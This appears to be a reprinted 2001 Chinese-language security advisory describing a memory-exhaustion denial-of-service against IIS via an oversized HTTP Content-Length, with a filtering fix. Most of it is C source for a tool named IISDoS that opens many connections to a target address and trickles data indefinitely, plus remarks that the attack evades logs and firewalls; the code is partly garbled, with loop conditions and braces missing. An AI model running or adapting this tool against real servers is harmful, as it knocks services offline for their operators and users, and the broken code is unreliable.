[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 程序 > 正文
HTTP協議Content Lenth限制漏洞導致拒絕服務攻擊
http://www.fanqiang.com (2001-05-20 10:08:01)
漏洞描述: 
在HTTP協議中,當使用POST方法時,可以設置Content Lenth來定義需要傳送的數據長度,但是HTTP協議中並沒有對Content Lenth的大小進行限制,這使得拒絕服務-內存耗盡攻擊成為可能。 
在IIS中,用戶POST數據時,系統先將用戶上傳的數據存放在內存中,當用戶完成數據傳送(數據的長度達到Content Lenth時),IIS再將這塊內存交給特定的 

文件或CGI處理;如果用戶POST非常大的數據(通過多次數據發送)例如Content Lenth:999999999,在傳送完成前,內存不會釋放,攻擊者可以利用這個缺陷,連續向WEB服務器發送垃圾數據直至WEB服務器內存耗盡。在Web服務器內存不足的時候,我們可以明顯的看到系統速度下降、硬盤讀寫增多(緩存)等現象的出現。 

值得注意的是,這種攻擊方法基本不會留下痕跡: 
首先,由於數據傳送不會完成(只要Content Lenth足夠大,比如Content-Length: 2147483647),所以IIS日無法記錄(IIS日是在操作完成後才記錄的) 

其次,由於進行的是正常的POST操作,而且數據是緩慢送入WEB服務器的,因此防火牆很難發現這樣的操作。(除非在防火牆上 
對Content Lenth進行監測) 

第三,這種攻擊對於攻擊者的主機來說幾乎沒有任何負荷,既不會消耗CPU更不會佔用內存,最多是佔用了部分帶寬。 

解決方法: 
編寫相應的Filter,對於過大的Content Lenth進行過濾。 

漏洞測試: 
以下的程式可以測試你的服務器是否有Content Lenth漏洞: 

// IISDoS 
// By Shotgun 
// shotgun@xici.net 

void IISDos() 

int net[2048],Counter=0,K=0,i,j; 
struct sockaddr_in sa; 
char send_data[1024]="POST /default.asp HTTP/1.1 \n Host:xici.net \n Content-Type: text/html \n Content-Length: 

2147483647\n\r"; 
char *send_char; 
WSADATA WSAData; 
strncpy((char *)&sa, "", sizeof sa); 
sa.sin_family = AF_INET; 
sa.sin_port = htons(80); 
sa.sin_addr.s_addr=inet_addr(Attack_IP); 
send_char=(char *)malloc(sizeof(char)); 
for(i=0;i
if((net[i]=socket(AF_INET, SOCK_STREAM, 0))==INVALID_SOCKET) 

printf("Allocating scoket %d falid.\ErrorCode:n",i); 
exit(0); 

if((connect(net[i], (struct sockaddr *) &sa, sizeof sa))!=0) 

printf("Connect %d failed.ErrorCode:%d\n",i,GetLastError()); 
for(i=0;iWSACleanup(); 
exit(0); 

if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR) 

printf("Sending %d data to the server failed1.ErrorCode:%d\n",i,GetLastError()); 
exit(0); 

for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR) 

printf("Sending %d Keepalive data failed.ErrorCode:%d\n",i,GetLastError()); 
exit(0); 

Sleep(200); 

while(1) 

for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR) 

printf("Sending %d data failed.ErrorCode:%d\n",i,GetLastError()); 
closesocket(net[i]); 
WSACleanup(); 
exit(0); 

else 

Counter++; 
if(Counter==1024) 

Counter=0; 
K++; 
printf("%dKb ",K); 

Sleep(DelayTime); 


for(i=0;iclosesocket(net[i]); 
WSACleanup(); 
} (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章

======
 

★  樊強制作 歡迎分享  ★